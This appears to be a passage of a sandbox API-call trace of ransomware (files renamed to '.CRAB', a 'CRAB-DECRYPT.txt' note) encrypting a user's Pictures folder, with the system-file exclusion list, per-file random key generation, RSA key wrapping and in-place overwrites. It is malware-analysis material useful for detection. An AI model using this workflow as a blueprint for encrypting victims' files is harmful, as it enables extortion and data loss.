	[0132.168] GetLastError () returned 0x0
	[0132.168] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0132.168] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e9e0) returned 1
	[0132.171] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e210) returned 1
	[0132.171] CryptGetKeyParam (in: hKey=0x320e210, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.171] CryptEncrypt (in: hKey=0x320e210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.171] GetLastError () returned 0x0
	[0132.171] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.171] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\5ruxe5esq6e9aueh.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.172] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.172] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.172] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xd9c, lpOverlapped=0x0) returned 1
	[0132.184] VirtualAlloc (lpAddress=0x0, dwSize=0xda0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.185] VirtualAlloc (lpAddress=0x0, dwSize=0xda0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.185] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.185] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffff264, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.185] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xda0, lpOverlapped=0x0) returned 1
	[0132.185] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.186] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.189] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.189] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.190] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.190] CloseHandle (hObject=0x3f0) returned 1
	[0132.190] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.190] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.190] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.190] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.191] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.191] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.191] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.191] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0132.191] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0132.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\CRAB-DECRYPT.txt"
	[0132.191] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.196] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\CRAB-DECRYPT.txt") returned 64
	[0132.196] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\CRAB-DECRYPT.txt") returned 64
	[0132.196] lstrlenW (lpString=".txt") returned 4
	[0132.196] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.197] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0132.197] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.197] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\CRAB-DECRYPT.txt") returned 64
	[0132.197] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\CRAB-DECRYPT.txt") returned 64
	[0132.197] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0132.197] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0132.197] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0132.197] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0132.197] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0132.197] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0132.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0132.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0132.198] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0132.198] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.198] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.198] lstrcmpW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2=".") returned 1
	[0132.198] lstrcmpW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="..") returned 1
	[0132.198] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="EdDfBBOJandLKRQFzhtp.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp"
	[0132.198] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.198] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp") returned 72
	[0132.198] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp") returned 72
	[0132.198] lstrlenW (lpString=".bmp") returned 4
	[0132.198] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.198] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".bmp ") returned 5
	[0132.199] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.199] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp") returned 72
	[0132.199] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp") returned 72
	[0132.199] lstrcmpiW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="desktop.ini") returned 1
	[0132.199] lstrcmpiW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="autorun.inf") returned 1
	[0132.199] lstrcmpiW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="ntuser.dat") returned -1
	[0132.199] lstrcmpiW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="iconcache.db") returned -1
	[0132.199] lstrcmpiW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="bootsect.bak") returned 1
	[0132.199] lstrcmpiW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="boot.ini") returned 1
	[0132.199] lstrcmpiW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="ntuser.dat.log") returned -1
	[0132.199] lstrcmpiW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="thumbs.db") returned -1
	[0132.199] lstrcmpiW (lpString1="EdDfBBOJandLKRQFzhtp.bmp", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.199] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.199] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp.CRAB") returned 77
	[0132.199] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\eddfbbojandlkrqfzhtp.bmp")) returned 0x20
	[0132.200] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp", dwFileAttributes=0x20) returned 1
	[0132.200] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\eddfbbojandlkrqfzhtp.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\eddfbbojandlkrqfzhtp.bmp.crab")) returned 1
	[0132.201] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.201] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp.CRAB"
	[0132.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp.CRAB.CRAB"
	[0132.201] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6eb78) returned 1
	[0132.204] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.205] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.205] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.205] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.205] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.205] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.205] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6ed98) returned 1
	[0132.208] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.208] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.208] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.208] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0132.208] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.208] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.209] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.209] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e738) returned 1
	[0132.212] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e2d0) returned 1
	[0132.212] CryptGetKeyParam (in: hKey=0x320e2d0, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.212] CryptEncrypt (in: hKey=0x320e2d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0132.212] GetLastError () returned 0x0
	[0132.212] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0132.212] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6eb78) returned 1
	[0132.215] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320ead0) returned 1
	[0132.215] CryptGetKeyParam (in: hKey=0x320ead0, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.215] CryptEncrypt (in: hKey=0x320ead0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.216] GetLastError () returned 0x0
	[0132.216] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.216] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\EdDfBBOJandLKRQFzhtp.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\eddfbbojandlkrqfzhtp.bmp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.216] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.217] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.217] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xb185, lpOverlapped=0x0) returned 1
	[0132.263] VirtualAlloc (lpAddress=0x0, dwSize=0xb190, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.264] VirtualAlloc (lpAddress=0x0, dwSize=0xb190, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.265] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.265] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff4e7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.265] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xb190, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xb190, lpOverlapped=0x0) returned 1
	[0132.265] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.266] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.270] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.270] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.270] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.270] CloseHandle (hObject=0x3f0) returned 1
	[0132.270] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.270] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.270] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.271] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.271] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.271] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.271] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.271] lstrcmpW (lpString1="fg4AafVi dOFU.jpg", lpString2=".") returned 1
	[0132.271] lstrcmpW (lpString1="fg4AafVi dOFU.jpg", lpString2="..") returned 1
	[0132.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="fg4AafVi dOFU.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg"
	[0132.271] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.272] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg") returned 65
	[0132.272] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg") returned 65
	[0132.272] lstrlenW (lpString=".jpg") returned 4
	[0132.272] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.272] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0132.272] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.272] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg") returned 65
	[0132.272] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg") returned 65
	[0132.272] lstrcmpiW (lpString1="fg4AafVi dOFU.jpg", lpString2="desktop.ini") returned 1
	[0132.272] lstrcmpiW (lpString1="fg4AafVi dOFU.jpg", lpString2="autorun.inf") returned 1
	[0132.272] lstrcmpiW (lpString1="fg4AafVi dOFU.jpg", lpString2="ntuser.dat") returned -1
	[0132.272] lstrcmpiW (lpString1="fg4AafVi dOFU.jpg", lpString2="iconcache.db") returned -1
	[0132.272] lstrcmpiW (lpString1="fg4AafVi dOFU.jpg", lpString2="bootsect.bak") returned 1
	[0132.272] lstrcmpiW (lpString1="fg4AafVi dOFU.jpg", lpString2="boot.ini") returned 1
	[0132.272] lstrcmpiW (lpString1="fg4AafVi dOFU.jpg", lpString2="ntuser.dat.log") returned -1
	[0132.272] lstrcmpiW (lpString1="fg4AafVi dOFU.jpg", lpString2="thumbs.db") returned -1
	[0132.272] lstrcmpiW (lpString1="fg4AafVi dOFU.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.272] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.273] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg.CRAB") returned 70
	[0132.273] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fg4aafvi dofu.jpg")) returned 0x20
	[0132.273] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg", dwFileAttributes=0x20) returned 1
	[0132.273] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fg4aafvi dofu.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fg4aafvi dofu.jpg.crab")) returned 1
	[0132.274] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.274] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg.CRAB"
	[0132.274] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg.CRAB.CRAB"
	[0132.274] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e9e0) returned 1
	[0132.277] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.277] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.278] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.278] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.278] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.278] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.278] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e7c0) returned 1
	[0132.280] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.281] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.281] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.281] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.281] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0132.281] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.281] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.281] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
